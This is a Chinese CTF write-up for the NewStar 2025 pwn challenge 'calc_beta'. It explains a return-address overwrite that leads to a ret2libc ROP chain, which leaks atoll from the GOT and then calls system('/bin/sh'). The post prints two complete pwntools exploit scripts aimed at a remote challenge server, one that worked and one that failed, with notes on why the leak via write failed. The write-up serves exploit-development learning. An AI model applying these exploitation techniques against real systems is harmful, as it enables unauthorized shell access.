2025-NewStar-week2-pwn-calc_beta

xuanbin 175 次阅读 发布于 2025-10-13


比较牢的一次经历,改exp改了两次。

文件保护

解题思路

edit函数中当v3为0时可以控制返回地址

同时主函数中s在栈上内存与edit函数的返回地址相邻,故可以当成栈溢出构造ROP链来打

实际经历

成功exp

from pwn import *

context(arch='amd64',log_level='debug')
file = './calc'
elf = ELF(file)
libc = ELF("./libc.so.6")

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64    = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf     =  lambda s                 :info(f"{s} ==> 0x{eval(s):x}")

def show():
    ru("5. Exit")
    sl("1")
def edit(number,data):
    ru("5. Exit")
    sl("2")
    ru("Which number?")
    sl(str(number))
    ru("Change to what?")
    sl(str(data))

p=remote("8.147.132.32",16726)
# p=process(file)
# gdb.attach(p,"b *0x40116A")


atoll_got = elf.got['atoll']
pop_rdi=0x401253
pop_rsi_r15=0x401251

edit(1,atoll_got)
edit(2,0x400857)
edit(3,0x4006b6)
edit(4,0x40116A)
edit(0,pop_rdi)

ru("> ")
atoll_addr=u64(p.recv(6).ljust(8,b"\x00"))
print("write_addr",atoll_addr)
libcbase = atoll_addr - libc.symbols['atoll']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

ret=0x4006b6
ru("> ")
sl("8")
ru("Change to what?")
sl(str(binsh_addr))
edit(6,binsh_addr)
edit(7,system_addr)
edit(5,pop_rdi)
edit(4,ret)
p.interactive()

整体思路跟ret2libc差不多,但是只有rdi与rsi可以轻松的控制,rdx比较难控制,于是借用程序本身的beta_puts函数来打印got地址

这里有一个问题是为什么要选择atoll函数来计算基址而不是常规的write函数

因为write的got地址中有\x00,而beta_puts函数里的strlen会截断

一个一个试了之后发现atoll可以,故用atoll。

失败exp

from pwn import *

context(arch='amd64',log_level='debug')
file = './calc'
elf = ELF(file)
libc = ELF("./libc.so.6")

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64    = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf     =  lambda s                 :info(f"{s} ==> 0x{eval(s):x}")

def show():
    ru("5. Exit")
    sl("1")
def edit(number,data):
    ru("5. Exit")
    sl("2")
    ru("Which number?")
    sl(str(number))
    ru("Change to what?")
    sl(str(data))

p=remote("8.147.132.32",16726)
# p=process(file)
# gdb.attach(p,"b *0x40116A")

edit(1,write_got)
edit(2,0)
edit(3,pop_rdi)
edit(4,1)
edit(5,0x4006E0)
edit(6,0x40116A)
edit(0,0x401251)
ru("> ")
atoll_addr=u64(p.recv(6).ljust(8,b"\x00"))
print("write_addr",atoll_addr)
libcbase = atoll_addr - libc.symbols['atoll']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
ret=0x4006b6
ru("> ")
sl("8")
ru("Change to what?")
sl(str(binsh_addr))
edit(6,binsh_addr)
edit(7,system_addr)
edit(5,pop_rdi)
edit(4,ret)
p.interactive()

与成功的exp不同的地方在于第一次返回的地址选择了最常规的打法用write的plt去调用write函数打印地址,不过rdx无法控制,寻思着反正函数执行过程中rdx肯定是某个值的,只要大于8应该都可以。在本地打的时候发现一次打印了0x800个字节,但是也确实能泄露,远程时因为0x800个字节太多接受不到数据。